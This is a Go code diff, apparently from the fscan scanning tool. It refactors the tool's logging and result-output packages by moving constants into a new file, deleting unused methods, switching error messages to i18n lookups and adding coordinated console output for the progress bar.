f.startTime = startTime
}
// Format 格式化为JSON格式
func (f *JSONFormatter) Format(entry *LogEntry) string {
elapsed := time.Since(f.startTime)
jsonStr := fmt.Sprintf(`{"level":"%s","time":"%s","elapsed_ms":%d,"content":"%s"`,
entry.Level,
entry.Time.Format("2006-01-02T15:04:05.000Z07:00"),
elapsed.Milliseconds(),
entry.Content)
if entry.Source != "" {
jsonStr += fmt.Sprintf(`,"source":"%s"`, entry.Source)
}
if len(entry.Metadata) > 0 {
jsonStr += `,"metadata":`
// 这里为简化处理,使用简单的格式
jsonStr += fmt.Sprintf(`%v`, entry.Metadata)
}
jsonStr += "}"
return jsonStr
}

View File

@ -6,7 +6,6 @@ import (
"log" "log"
"path/filepath" "path/filepath"
"runtime" "runtime"
"strings"
"sync" "sync"
"time" "time"
@ -15,14 +14,14 @@ import (
// Logger 日志管理器 // Logger 日志管理器
type Logger struct { type Logger struct {
mu sync.RWMutex mu sync.RWMutex
config *LoggerConfig config *LoggerConfig
formatter LogFormatter formatter LogFormatter
handlers []LogHandler handlers []LogHandler
scanStatus *ScanStatus scanStatus *ScanStatus
progressBar ProgressDisplay progressBar ProgressDisplay
outputMutex *sync.Mutex outputMutex *sync.Mutex
initialized bool initialized bool
} }
// NewLogger 创建新的日志管理器 // NewLogger 创建新的日志管理器
@ -50,13 +49,9 @@ func NewLogger(config *LoggerConfig) *Logger {
return logger return logger
} }
// SetFormatter 设置格式化器 // =============================================================================================
func (l *Logger) SetFormatter(formatter LogFormatter) { // 已删除的死代码未使用SetFormatter 方法
l.mu.Lock() // =============================================================================================
defer l.mu.Unlock()
l.formatter = formatter
l.formatter.SetStartTime(l.config.StartTime)
}
// AddHandler 添加日志处理器 // AddHandler 添加日志处理器
func (l *Logger) AddHandler(handler LogHandler) { func (l *Logger) AddHandler(handler LogHandler) {
@ -79,6 +74,18 @@ func (l *Logger) SetOutputMutex(mutex *sync.Mutex) {
l.outputMutex = mutex l.outputMutex = mutex
} }
// SetCoordinatedOutput 设置协调输出函数(用于进度条协调)
func (l *Logger) SetCoordinatedOutput(fn func(string)) {
l.mu.RLock()
defer l.mu.RUnlock()
for _, handler := range l.handlers {
if consoleHandler, ok := handler.(*ConsoleHandler); ok {
consoleHandler.SetCoordinatedOutput(fn)
}
}
}
// Log 记录日志 // Log 记录日志
func (l *Logger) Log(level LogLevel, content string, metadata ...map[string]interface{}) { func (l *Logger) Log(level LogLevel, content string, metadata ...map[string]interface{}) {
if !l.shouldLog(level) { if !l.shouldLog(level) {
@ -168,7 +175,7 @@ func (l *Logger) handleLogEntry(entry *LogEntry) {
func (l *Logger) clearProgress() { func (l *Logger) clearProgress() {
if l.progressBar != nil { if l.progressBar != nil {
l.progressBar.Clear() // 忽略错误 l.progressBar.Clear() // 忽略错误
time.Sleep(10 * time.Millisecond) time.Sleep(ProgressClearDelay)
} }
} }
@ -200,10 +207,9 @@ func (l *Logger) Error(content string, metadata ...map[string]interface{}) {
l.Log(LevelError, content, metadata...) l.Log(LevelError, content, metadata...)
} }
// GetScanStatus 获取扫描状态管理器 // =============================================================================================
func (l *Logger) GetScanStatus() *ScanStatus { // 已删除的死代码未使用GetScanStatus 获取扫描状态管理器
return l.scanStatus // =============================================================================================
}
// Initialize 初始化日志系统(兼容原接口) // Initialize 初始化日志系统(兼容原接口)
func (l *Logger) Initialize() { func (l *Logger) Initialize() {
@ -213,17 +219,18 @@ func (l *Logger) Initialize() {
// ConsoleHandler 控制台日志处理器 // ConsoleHandler 控制台日志处理器
type ConsoleHandler struct { type ConsoleHandler struct {
config *LoggerConfig config *LoggerConfig
formatter LogFormatter formatter LogFormatter
enabled bool enabled bool
mu sync.RWMutex coordinatedOutput func(string) // 协调输出函数
mu sync.RWMutex
} }
// NewConsoleHandler 创建控制台处理器 // NewConsoleHandler 创建控制台处理器
func NewConsoleHandler(config *LoggerConfig) *ConsoleHandler { func NewConsoleHandler(config *LoggerConfig) *ConsoleHandler {
formatter := NewStandardFormatter() formatter := NewStandardFormatter()
formatter.SetStartTime(config.StartTime) formatter.SetStartTime(config.StartTime)
return &ConsoleHandler{ return &ConsoleHandler{
config: config, config: config,
formatter: formatter, formatter: formatter,
@ -243,20 +250,42 @@ func (h *ConsoleHandler) Handle(entry *LogEntry) {
// 使用自己的格式化器格式化消息 // 使用自己的格式化器格式化消息
logMsg := h.formatter.Format(entry) logMsg := h.formatter.Format(entry)
// 根据颜色设置输出 // 使用协调输出函数,如果设置了的话
if h.config.EnableColor { if h.coordinatedOutput != nil {
if colorAttr, ok := h.config.LevelColors[entry.Level]; ok { if h.config.EnableColor {
color.New(colorAttr).Println(logMsg) if colorAttr, ok := h.config.LevelColors[entry.Level]; ok {
if attr, ok := colorAttr.(color.Attribute); ok {
coloredMsg := color.New(attr).Sprint(logMsg)
h.coordinatedOutput(coloredMsg)
} else {
h.coordinatedOutput(logMsg)
}
} else {
h.coordinatedOutput(logMsg)
}
} else {
h.coordinatedOutput(logMsg)
}
} else {
// 回到原来的直接输出方式
if h.config.EnableColor {
if colorAttr, ok := h.config.LevelColors[entry.Level]; ok {
if attr, ok := colorAttr.(color.Attribute); ok {
color.New(attr).Println(logMsg)
} else {
fmt.Println(logMsg)
}
} else {
fmt.Println(logMsg)
}
} else { } else {
fmt.Println(logMsg) fmt.Println(logMsg)
} }
} else {
fmt.Println(logMsg)
} }
// 根据慢速输出设置决定是否添加延迟 // 根据慢速输出设置决定是否添加延迟
if h.config.SlowOutput { if h.config.SlowOutput {
time.Sleep(50 * time.Millisecond) time.Sleep(SlowOutputDelay)
} }
} }
@ -267,6 +296,13 @@ func (h *ConsoleHandler) SetEnabled(enabled bool) {
h.enabled = enabled h.enabled = enabled
} }
// SetCoordinatedOutput 设置协调输出函数
func (h *ConsoleHandler) SetCoordinatedOutput(fn func(string)) {
h.mu.Lock()
defer h.mu.Unlock()
h.coordinatedOutput = fn
}
// IsEnabled 检查处理器是否启用 // IsEnabled 检查处理器是否启用
func (h *ConsoleHandler) IsEnabled() bool { func (h *ConsoleHandler) IsEnabled() bool {
h.mu.RLock() h.mu.RLock()
@ -274,51 +310,6 @@ func (h *ConsoleHandler) IsEnabled() bool {
return h.enabled return h.enabled
} }
// 全局日志管理器实例 // =============================================================================================
var ( // 已删除的死代码未使用CheckErrs 错误检查函数
globalLogger *Logger // =============================================================================================
initOnce sync.Once
)
// GetGlobalLogger 获取全局日志管理器
func GetGlobalLogger() *Logger {
initOnce.Do(func() {
globalLogger = NewLogger(DefaultLoggerConfig())
})
return globalLogger
}
// SetGlobalLogger 设置全局日志管理器
func SetGlobalLogger(logger *Logger) {
globalLogger = logger
}
// 错误检查函数(保持原有逻辑)
func CheckErrs(err error) error {
if err == nil {
return nil
}
// 已知需要重试的错误列表
errs := []string{
"closed by the remote host", "too many connections",
"EOF", "A connection attempt failed",
"established connection failed", "connection attempt failed",
"Unable to read", "is not allowed to connect to this",
"no pg_hba.conf entry",
"No connection could be made",
"invalid packet size",
"bad connection",
}
// 检查错误是否匹配
errLower := strings.ToLower(err.Error())
for _, key := range errs {
if strings.Contains(errLower, strings.ToLower(key)) {
time.Sleep(1 * time.Second)
return err
}
}
return nil
}

View File

@ -3,24 +3,8 @@ package logging
import ( import (
"sync" "sync"
"time" "time"
"github.com/fatih/color"
) )
// LogLevel 日志级别类型
type LogLevel string
// 定义系统支持的日志级别常量
const (
LevelAll LogLevel = "ALL" // 显示所有级别日志
LevelError LogLevel = "ERROR" // 仅显示错误日志
LevelBase LogLevel = "BASE" // 仅显示基础信息日志
LevelInfo LogLevel = "INFO" // 仅显示信息日志
LevelSuccess LogLevel = "SUCCESS" // 仅显示成功日志
LevelDebug LogLevel = "DEBUG" // 仅显示调试日志
LevelInfoSuccess LogLevel = "INFO_SUCCESS" // 仅显示信息和成功日志
LevelBaseInfoSuccess LogLevel = "BASE_INFO_SUCCESS" // 显示基础、信息和成功日志
)
// LogEntry 定义单条日志的结构 // LogEntry 定义单条日志的结构
type LogEntry struct { type LogEntry struct {
@ -51,27 +35,30 @@ type LoggerConfig struct {
SlowOutput bool `json:"slow_output"` // 是否启用慢速输出 SlowOutput bool `json:"slow_output"` // 是否启用慢速输出
ShowProgress bool `json:"show_progress"` // 是否显示进度条 ShowProgress bool `json:"show_progress"` // 是否显示进度条
StartTime time.Time `json:"start_time"` // 开始时间 StartTime time.Time `json:"start_time"` // 开始时间
LevelColors map[LogLevel]color.Attribute `json:"-"` // 级别颜色映射 LevelColors map[LogLevel]interface{} `json:"-"` // 级别颜色映射
} }
// DefaultLoggerConfig 默认日志器配置 // DefaultLoggerConfig 默认日志器配置
func DefaultLoggerConfig() *LoggerConfig { func DefaultLoggerConfig() *LoggerConfig {
return &LoggerConfig{ return &LoggerConfig{
Level: LevelAll, Level: DefaultLevel,
EnableColor: true, EnableColor: DefaultEnableColor,
SlowOutput: false, SlowOutput: DefaultSlowOutput,
ShowProgress: true, ShowProgress: DefaultShowProgress,
StartTime: time.Now(), StartTime: time.Now(),
LevelColors: map[LogLevel]color.Attribute{ LevelColors: convertColorMap(GetDefaultLevelColors()),
LevelError: color.FgBlue, // 错误日志显示蓝色
LevelBase: color.FgYellow, // 基础日志显示黄色
LevelInfo: color.FgGreen, // 信息日志显示绿色
LevelSuccess: color.FgRed, // 成功日志显示红色
LevelDebug: color.FgWhite, // 调试日志显示白色
},
} }
} }
// convertColorMap 将color.Attribute映射转换为interface{}映射
func convertColorMap(colorMap map[LogLevel]interface{}) map[LogLevel]interface{} {
result := make(map[LogLevel]interface{})
for k, v := range colorMap {
result[k] = v
}
return result
}
// ScanStatus 扫描状态管理器 // ScanStatus 扫描状态管理器
type ScanStatus struct { type ScanStatus struct {
mu sync.RWMutex // 读写互斥锁 mu sync.RWMutex // 读写互斥锁
@ -104,40 +91,10 @@ func (s *ScanStatus) UpdateError() {
s.lastError = time.Now() s.lastError = time.Now()
} }
// GetLastSuccess 获取最后成功时间 // =============================================================================================
func (s *ScanStatus) GetLastSuccess() time.Time { // 已删除的死代码(未使用):
s.mu.RLock() // GetLastSuccess, GetLastError, SetTotal, SetCompleted, GetProgress 方法
defer s.mu.RUnlock() // =============================================================================================
return s.lastSuccess
}
// GetLastError 获取最后错误时间
func (s *ScanStatus) GetLastError() time.Time {
s.mu.RLock()
defer s.mu.RUnlock()
return s.lastError
}
// SetTotal 设置总任务数
func (s *ScanStatus) SetTotal(total int64) {
s.mu.Lock()
defer s.mu.Unlock()
s.total = total
}
// SetCompleted 设置已完成任务数
func (s *ScanStatus) SetCompleted(completed int64) {
s.mu.Lock()
defer s.mu.Unlock()
s.completed = completed
}
// GetProgress 获取进度信息
func (s *ScanStatus) GetProgress() (int64, int64) {
s.mu.RLock()
defer s.mu.RUnlock()
return s.completed, s.total
}
// ProgressDisplay 进度条显示接口 // ProgressDisplay 进度条显示接口
type ProgressDisplay interface { type ProgressDisplay interface {

View File

@ -0,0 +1,86 @@
package logging
/*
constants.go - 日志系统常量定义
统一管理common/logging包中的所有常量便于查看和编辑
*/
import (
"time"
"github.com/fatih/color"
)
// =============================================================================
// 日志级别常量 (从Types.go迁移)
// =============================================================================
// LogLevel 日志级别类型
type LogLevel string
// 定义系统支持的日志级别常量
const (
LevelAll LogLevel = "ALL" // 显示所有级别日志
LevelError LogLevel = "ERROR" // 仅显示错误日志
LevelBase LogLevel = "BASE" // 仅显示基础信息日志
LevelInfo LogLevel = "INFO" // 仅显示信息日志
LevelSuccess LogLevel = "SUCCESS" // 仅显示成功日志
LevelDebug LogLevel = "DEBUG" // 仅显示调试日志
LevelInfoSuccess LogLevel = "INFO_SUCCESS" // 仅显示信息和成功日志
LevelBaseInfoSuccess LogLevel = "BASE_INFO_SUCCESS" // 显示基础、信息和成功日志
)
// =============================================================================
// 时间显示常量 (从Formatter.go迁移)
// =============================================================================
const (
// 时间显示阈值
MaxMillisecondDisplay = time.Second // 毫秒显示的最大时长
MaxSecondDisplay = time.Minute // 秒显示的最大时长
MaxMinuteDisplay = time.Hour // 分钟显示的最大时长
// 慢速输出延迟
SlowOutputDelay = 50 * time.Millisecond
// 进度条清除延迟
ProgressClearDelay = 10 * time.Millisecond
)
// =============================================================================
// 日志前缀常量 (从Formatter.go迁移)
// =============================================================================
const (
PrefixSuccess = "[+]" // 成功日志前缀
PrefixInfo = "[*]" // 信息日志前缀
PrefixError = "[-]" // 错误日志前缀
PrefixDefault = " " // 默认日志前缀
)
// =============================================================================
// 默认配置常量
// =============================================================================
const (
DefaultLevel = LevelAll // 默认日志级别
DefaultEnableColor = true // 默认启用彩色输出
DefaultSlowOutput = false // 默认不启用慢速输出
DefaultShowProgress = true // 默认显示进度条
)
// =============================================================================
// 默认颜色映射
// =============================================================================
// GetDefaultLevelColors 获取默认的日志级别颜色映射
func GetDefaultLevelColors() map[LogLevel]interface{} {
return map[LogLevel]interface{}{
LevelError: color.FgBlue, // 错误日志显示蓝色
LevelBase: color.FgYellow, // 基础日志显示黄色
LevelInfo: color.FgGreen, // 信息日志显示绿色
LevelSuccess: color.FgRed, // 成功日志显示红色
LevelDebug: color.FgWhite, // 调试日志显示白色
}
}

View File

@ -6,27 +6,29 @@ import (
"path/filepath" "path/filepath"
"sync" "sync"
"time" "time"
"github.com/shadow1ng/fscan/common/i18n"
) )
// Manager 输出管理器 // Manager 输出管理器
type Manager struct { type Manager struct {
mu sync.RWMutex mu sync.RWMutex
config *ManagerConfig config *ManagerConfig
writer OutputWriter writer OutputWriter
reader OutputReader reader OutputReader
statistics *Statistics statistics *Statistics
buffer []*ScanResult buffer []*ScanResult
bufferMutex sync.Mutex bufferMutex sync.Mutex
flushTicker *time.Ticker flushTicker *time.Ticker
stopChan chan struct{} stopChan chan struct{}
initialized bool initialized bool
closed bool closed bool
} }
// NewManager 创建新的输出管理器 // NewManager 创建新的输出管理器
func NewManager(config *ManagerConfig) (*Manager, error) { func NewManager(config *ManagerConfig) (*Manager, error) {
if config == nil { if config == nil {
return nil, fmt.Errorf("配置不能为空") return nil, fmt.Errorf(i18n.GetText("output_config_nil"))
} }
// 验证输出格式 // 验证输出格式
@ -56,7 +58,7 @@ func NewManager(config *ManagerConfig) (*Manager, error) {
// 如果启用缓冲,初始化缓冲区 // 如果启用缓冲,初始化缓冲区
if config.EnableBuffer { if config.EnableBuffer {
manager.buffer = make([]*ScanResult, 0, config.BufferSize) manager.buffer = make([]*ScanResult, 0, config.BufferSize)
// 如果启用自动刷新,启动定时器 // 如果启用自动刷新,启动定时器
if config.AutoFlush { if config.AutoFlush {
manager.startAutoFlush() manager.startAutoFlush()
@ -73,14 +75,14 @@ func validateFormat(format OutputFormat) error {
case FormatTXT, FormatJSON, FormatCSV: case FormatTXT, FormatJSON, FormatCSV:
return nil return nil
default: default:
return fmt.Errorf("不支持的输出格式: %s", format) return fmt.Errorf(i18n.GetText("output_unsupported_format"), format)
} }
} }
// createOutputDir 创建输出目录 // createOutputDir 创建输出目录
func createOutputDir(outputPath string) error { func createOutputDir(outputPath string) error {
dir := filepath.Dir(outputPath) dir := filepath.Dir(outputPath)
return os.MkdirAll(dir, 0755) return os.MkdirAll(dir, DefaultDirPermissions)
} }
// initializeWriter 初始化写入器 // initializeWriter 初始化写入器
@ -96,11 +98,11 @@ func (m *Manager) initializeWriter() error {
case FormatCSV: case FormatCSV:
writer, err = NewCSVWriter(m.config.OutputPath) writer, err = NewCSVWriter(m.config.OutputPath)
default: default:
return fmt.Errorf("不支持的输出格式: %s", m.config.Format) return fmt.Errorf(i18n.GetText("output_unsupported_format"), m.config.Format)
} }
if err != nil { if err != nil {
return fmt.Errorf("初始化写入器失败: %v", err) return fmt.Errorf(i18n.GetText("output_writer_init_failed"), err)
} }
m.writer = writer m.writer = writer
@ -138,11 +140,11 @@ func (m *Manager) SaveResult(result *ScanResult) error {
defer m.mu.RUnlock() defer m.mu.RUnlock()
if !m.initialized { if !m.initialized {
return fmt.Errorf("输出管理器未初始化") return fmt.Errorf(i18n.GetText("output_manager_not_init"))
} }
if m.closed { if m.closed {
return fmt.Errorf("输出管理器已关闭") return fmt.Errorf(i18n.GetText("output_manager_closed"))
} }
// 更新统计信息 // 更新统计信息
@ -188,13 +190,13 @@ func (m *Manager) flushBufferUnsafe() error {
// 批量写入 // 批量写入
for _, result := range m.buffer { for _, result := range m.buffer {
if err := m.writer.Write(result); err != nil { if err := m.writer.Write(result); err != nil {
return fmt.Errorf("写入结果失败: %v", err) return fmt.Errorf(i18n.GetText("output_write_failed"), err)
} }
} }
// 刷新写入器 // 刷新写入器
if err := m.writer.Flush(); err != nil { if err := m.writer.Flush(); err != nil {
return fmt.Errorf("刷新写入器失败: %v", err) return fmt.Errorf(i18n.GetText("output_flush_failed"), err)
} }
// 清空缓冲区 // 清空缓冲区
@ -202,47 +204,10 @@ func (m *Manager) flushBufferUnsafe() error {
return nil return nil
} }
// GetResults 获取扫描结果 // =============================================================================================
func (m *Manager) GetResults() ([]*ScanResult, error) { // 已删除的死代码(未使用):
return m.GetResultsWithFilter(nil) // GetResults, GetResultsWithFilter, GetStatistics, Flush 方法
} // =============================================================================================
// GetResultsWithFilter 获取过滤后的扫描结果
func (m *Manager) GetResultsWithFilter(filter *ResultFilter) ([]*ScanResult, error) {
m.mu.RLock()
defer m.mu.RUnlock()
if m.reader == nil {
return nil, fmt.Errorf("当前输出格式不支持读取")
}
return m.reader.ReadWithFilter(filter)
}
// GetStatistics 获取统计信息
func (m *Manager) GetStatistics() *Statistics {
return m.statistics
}
// Flush 刷新所有缓冲区
func (m *Manager) Flush() error {
m.mu.RLock()
defer m.mu.RUnlock()
if !m.initialized || m.closed {
return nil
}
// 刷新缓冲区
if m.config.EnableBuffer {
if err := m.flushBuffer(); err != nil {
return err
}
}
// 刷新写入器
return m.writer.Flush()
}
// Close 关闭输出管理器 // Close 关闭输出管理器
func (m *Manager) Close() error { func (m *Manager) Close() error {
@ -281,99 +246,11 @@ func (m *Manager) Close() error {
return err return err
} }
// IsInitialized 检查是否已初始化 // =============================================================================================
func (m *Manager) IsInitialized() bool { // 已删除的死代码(未使用):
m.mu.RLock() // IsInitialized, IsClosed, GetConfig, UpdateConfig 方法
defer m.mu.RUnlock() // =============================================================================================
return m.initialized
}
// IsClosed 检查是否已关闭 // =============================================================================================
func (m *Manager) IsClosed() bool { // 已删除的死代码未使用globalManager 全局变量及 SetGlobalManager 函数
m.mu.RLock() // =============================================================================================
defer m.mu.RUnlock()
return m.closed
}
// GetConfig 获取配置
func (m *Manager) GetConfig() *ManagerConfig {
m.mu.RLock()
defer m.mu.RUnlock()
// 返回配置副本
config := *m.config
return &config
}
// UpdateConfig 更新配置(部分配置可以动态更新)
func (m *Manager) UpdateConfig(updates map[string]interface{}) error {
m.mu.Lock()
defer m.mu.Unlock()
if m.closed {
return fmt.Errorf("输出管理器已关闭")
}
// 只允许更新部分配置
for key, value := range updates {
switch key {
case "enable_buffer":
if enableBuffer, ok := value.(bool); ok {
m.config.EnableBuffer = enableBuffer
}
case "buffer_size":
if bufferSize, ok := value.(int); ok && bufferSize > 0 {
m.config.BufferSize = bufferSize
}
case "auto_flush":
if autoFlush, ok := value.(bool); ok {
m.config.AutoFlush = autoFlush
if autoFlush && m.flushTicker == nil {
m.startAutoFlush()
} else if !autoFlush && m.flushTicker != nil {
m.flushTicker.Stop()
m.flushTicker = nil
}
}
case "flush_interval":
if flushInterval, ok := value.(time.Duration); ok && flushInterval > 0 {
m.config.FlushInterval = flushInterval
if m.flushTicker != nil {
m.flushTicker.Stop()
m.startAutoFlush()
}
}
default:
return fmt.Errorf("不支持更新的配置项: %s", key)
}
}
return nil
}
// 全局输出管理器实例
var (
globalManager *Manager
managerOnce sync.Once
)
// GetGlobalManager 获取全局输出管理器
func GetGlobalManager() *Manager {
return globalManager
}
// SetGlobalManager 设置全局输出管理器
func SetGlobalManager(manager *Manager) {
globalManager = manager
}
// InitGlobalManager 初始化全局输出管理器
func InitGlobalManager(config *ManagerConfig) error {
manager, err := NewManager(config)
if err != nil {
return err
}
SetGlobalManager(manager)
return nil
}

View File

@ -5,26 +5,7 @@ import (
"time" "time"
) )
// OutputFormat 输出格式类型
type OutputFormat string
const (
FormatTXT OutputFormat = "txt" // 文本格式
FormatJSON OutputFormat = "json" // JSON格式
FormatCSV OutputFormat = "csv" // CSV格式
)
// ResultType 定义结果类型
type ResultType string
const (
TypeHost ResultType = "HOST" // 主机存活
TypePort ResultType = "PORT" // 端口开放
TypeService ResultType = "SERVICE" // 服务识别
TypeVuln ResultType = "VULN" // 漏洞发现
TypeInfo ResultType = "INFO" // 信息收集
TypeBrute ResultType = "BRUTE" // 爆破结果
)
// ScanResult 扫描结果结构 // ScanResult 扫描结果结构
type ScanResult struct { type ScanResult struct {
@ -53,11 +34,11 @@ type OutputReader interface {
// ResultFilter 结果过滤器 // ResultFilter 结果过滤器
type ResultFilter struct { type ResultFilter struct {
Types []ResultType `json:"types"` // 过滤的结果类型 Types []ResultType `json:"types"` // 过滤的结果类型
Targets []string `json:"targets"` // 过滤的目标 Targets []string `json:"targets"` // 过滤的目标
TimeRange *TimeRange `json:"time_range"` // 时间范围 TimeRange *TimeRange `json:"time_range"` // 时间范围
Limit int `json:"limit"` // 限制数量 Limit int `json:"limit"` // 限制数量
Offset int `json:"offset"` // 偏移量 Offset int `json:"offset"` // 偏移量
} }
// TimeRange 时间范围 // TimeRange 时间范围
@ -68,11 +49,11 @@ type TimeRange struct {
// ManagerConfig 输出管理器配置 // ManagerConfig 输出管理器配置
type ManagerConfig struct { type ManagerConfig struct {
OutputPath string `json:"output_path"` // 输出路径 OutputPath string `json:"output_path"` // 输出路径
Format OutputFormat `json:"format"` // 输出格式 Format OutputFormat `json:"format"` // 输出格式
EnableBuffer bool `json:"enable_buffer"` // 是否启用缓冲 EnableBuffer bool `json:"enable_buffer"` // 是否启用缓冲
BufferSize int `json:"buffer_size"` // 缓冲区大小 BufferSize int `json:"buffer_size"` // 缓冲区大小
AutoFlush bool `json:"auto_flush"` // 是否自动刷新 AutoFlush bool `json:"auto_flush"` // 是否自动刷新
FlushInterval time.Duration `json:"flush_interval"` // 刷新间隔 FlushInterval time.Duration `json:"flush_interval"` // 刷新间隔
} }
@ -81,20 +62,20 @@ func DefaultManagerConfig(outputPath string, format OutputFormat) *ManagerConfig
return &ManagerConfig{ return &ManagerConfig{
OutputPath: outputPath, OutputPath: outputPath,
Format: format, Format: format,
EnableBuffer: true, EnableBuffer: DefaultEnableBuffer,
BufferSize: 100, BufferSize: DefaultBufferSize,
AutoFlush: true, AutoFlush: DefaultAutoFlush,
FlushInterval: 5 * time.Second, FlushInterval: DefaultFlushInterval,
} }
} }
// Statistics 输出统计信息 // Statistics 输出统计信息
type Statistics struct { type Statistics struct {
mu sync.RWMutex mu sync.RWMutex
TotalResults int64 `json:"total_results"` // 总结果数 TotalResults int64 `json:"total_results"` // 总结果数
TypeCounts map[ResultType]int64 `json:"type_counts"` // 各类型计数 TypeCounts map[ResultType]int64 `json:"type_counts"` // 各类型计数
StartTime time.Time `json:"start_time"` // 开始时间 StartTime time.Time `json:"start_time"` // 开始时间
LastUpdate time.Time `json:"last_update"` // 最后更新时间 LastUpdate time.Time `json:"last_update"` // 最后更新时间
} }
// NewStatistics 创建新的统计信息 // NewStatistics 创建新的统计信息
@ -115,39 +96,7 @@ func (s *Statistics) AddResult(resultType ResultType) {
s.LastUpdate = time.Now() s.LastUpdate = time.Now()
} }
// GetTotalResults 获取总结果数 // =============================================================================================
func (s *Statistics) GetTotalResults() int64 { // 已删除的死代码(未使用):
s.mu.RLock() // GetTotalResults, GetTypeCounts, GetDuration, Reset 方法
defer s.mu.RUnlock() // =============================================================================================
return s.TotalResults
}
// GetTypeCounts 获取类型计数
func (s *Statistics) GetTypeCounts() map[ResultType]int64 {
s.mu.RLock()
defer s.mu.RUnlock()
// 返回副本以避免并发问题
counts := make(map[ResultType]int64)
for k, v := range s.TypeCounts {
counts[k] = v
}
return counts
}
// GetDuration 获取运行时长
func (s *Statistics) GetDuration() time.Duration {
s.mu.RLock()
defer s.mu.RUnlock()
return s.LastUpdate.Sub(s.StartTime)
}
// Reset 重置统计信息
func (s *Statistics) Reset() {
s.mu.Lock()
defer s.mu.Unlock()
s.TotalResults = 0
s.TypeCounts = make(map[ResultType]int64)
s.StartTime = time.Now()
s.LastUpdate = time.Now()
}

View File

@ -8,6 +8,8 @@ import (
"strings" "strings"
"sync" "sync"
"time" "time"
"github.com/shadow1ng/fscan/common/i18n"
) )
// TXTWriter 文本格式写入器 // TXTWriter 文本格式写入器
@ -19,9 +21,9 @@ type TXTWriter struct {
// NewTXTWriter 创建文本写入器 // NewTXTWriter 创建文本写入器
func NewTXTWriter(filePath string) (*TXTWriter, error) { func NewTXTWriter(filePath string) (*TXTWriter, error) {
file, err := os.OpenFile(filePath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644) file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions)
if err != nil { if err != nil {
return nil, fmt.Errorf("创建文本文件失败: %v", err) return nil, fmt.Errorf(i18n.GetText("output_create_file_failed"), "文本", err)
} }
return &TXTWriter{ return &TXTWriter{
@ -40,7 +42,7 @@ func (w *TXTWriter) Write(result *ScanResult) error {
defer w.mu.Unlock() defer w.mu.Unlock()
if w.closed { if w.closed {
return fmt.Errorf("写入器已关闭") return fmt.Errorf(i18n.GetText("output_writer_closed"))
} }
// 格式化 Details 为键值对字符串 // 格式化 Details 为键值对字符串
@ -48,22 +50,22 @@ func (w *TXTWriter) Write(result *ScanResult) error {
if len(result.Details) > 0 { if len(result.Details) > 0 {
pairs := make([]string, 0, len(result.Details)) pairs := make([]string, 0, len(result.Details))
for k, v := range result.Details { for k, v := range result.Details {
pairs = append(pairs, fmt.Sprintf("%s=%v", k, v)) pairs = append(pairs, fmt.Sprintf(TxtKeyValueFormat, k, v))
} }
details = strings.Join(pairs, ", ") details = strings.Join(pairs, TxtDetailsSeparator)
} }
// 使用类似原有格式的文本输出 // 使用类似原有格式的文本输出
txt := fmt.Sprintf("[%s] [%s] %s - %s", txt := fmt.Sprintf(TxtOutputTemplate,
result.Time.Format("2006-01-02 15:04:05"), result.Time.Format(TxtTimeFormat),
result.Type, result.Type,
result.Target, result.Target,
result.Status, result.Status,
) )
if details != "" { if details != "" {
txt += fmt.Sprintf(" (%s)", details) txt += fmt.Sprintf(TxtDetailsFormat, details)
} }
txt += "\n" txt += TxtNewline
_, err := w.file.WriteString(txt) _, err := w.file.WriteString(txt)
return err return err
@ -109,13 +111,13 @@ type JSONWriter struct {
// NewJSONWriter 创建JSON写入器 // NewJSONWriter 创建JSON写入器
func NewJSONWriter(filePath string) (*JSONWriter, error) { func NewJSONWriter(filePath string) (*JSONWriter, error) {
file, err := os.OpenFile(filePath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644) file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions)
if err != nil { if err != nil {
return nil, fmt.Errorf("创建JSON文件失败: %v", err) return nil, fmt.Errorf(i18n.GetText("output_create_file_failed"), "JSON", err)
} }
encoder := json.NewEncoder(file) encoder := json.NewEncoder(file)
encoder.SetIndent("", " ") encoder.SetIndent(JSONIndentPrefix, JSONIndentString)
return &JSONWriter{ return &JSONWriter{
file: file, file: file,
@ -134,7 +136,7 @@ func (w *JSONWriter) Write(result *ScanResult) error {
defer w.mu.Unlock() defer w.mu.Unlock()
if w.closed { if w.closed {
return fmt.Errorf("写入器已关闭") return fmt.Errorf(i18n.GetText("output_writer_closed"))
} }
return w.encoder.Encode(result) return w.encoder.Encode(result)
@ -181,9 +183,9 @@ type CSVWriter struct {
// NewCSVWriter 创建CSV写入器 // NewCSVWriter 创建CSV写入器
func NewCSVWriter(filePath string) (*CSVWriter, error) { func NewCSVWriter(filePath string) (*CSVWriter, error) {
file, err := os.OpenFile(filePath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644) file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions)
if err != nil { if err != nil {
return nil, fmt.Errorf("创建CSV文件失败: %v", err) return nil, fmt.Errorf(i18n.GetText("output_create_file_failed"), "CSV", err)
} }
csvWriter := csv.NewWriter(file) csvWriter := csv.NewWriter(file)
@ -203,10 +205,10 @@ func (w *CSVWriter) WriteHeader() error {
return nil return nil
} }
headers := []string{"Time", "Type", "Target", "Status", "Details"} headers := CSVHeaders
err := w.csvWriter.Write(headers) err := w.csvWriter.Write(headers)
if err != nil { if err != nil {
return fmt.Errorf("写入CSV头部失败: %v", err) return fmt.Errorf(i18n.GetText("output_write_header_failed"), err)
} }
w.csvWriter.Flush() w.csvWriter.Flush()
@ -220,7 +222,7 @@ func (w *CSVWriter) Write(result *ScanResult) error {
defer w.mu.Unlock() defer w.mu.Unlock()
if w.closed { if w.closed {
return fmt.Errorf("写入器已关闭") return fmt.Errorf(i18n.GetText("output_writer_closed"))
} }
// 确保头部已写入 // 确保头部已写入
@ -233,11 +235,11 @@ func (w *CSVWriter) Write(result *ScanResult) error {
// 序列化Details为JSON字符串 // 序列化Details为JSON字符串
details, err := json.Marshal(result.Details) details, err := json.Marshal(result.Details)
if err != nil { if err != nil {
details = []byte("{}") details = []byte(EmptyJSONObject)
} }
record := []string{ record := []string{
result.Time.Format("2006-01-02 15:04:05"), result.Time.Format(DefaultTimeFormat),
string(result.Type), string(result.Type),
result.Target, result.Target,
result.Status, result.Status,
@ -259,10 +261,10 @@ func (w *CSVWriter) writeHeaderUnsafe() error {
return nil return nil
} }
headers := []string{"Time", "Type", "Target", "Status", "Details"} headers := CSVHeaders
err := w.csvWriter.Write(headers) err := w.csvWriter.Write(headers)
if err != nil { if err != nil {
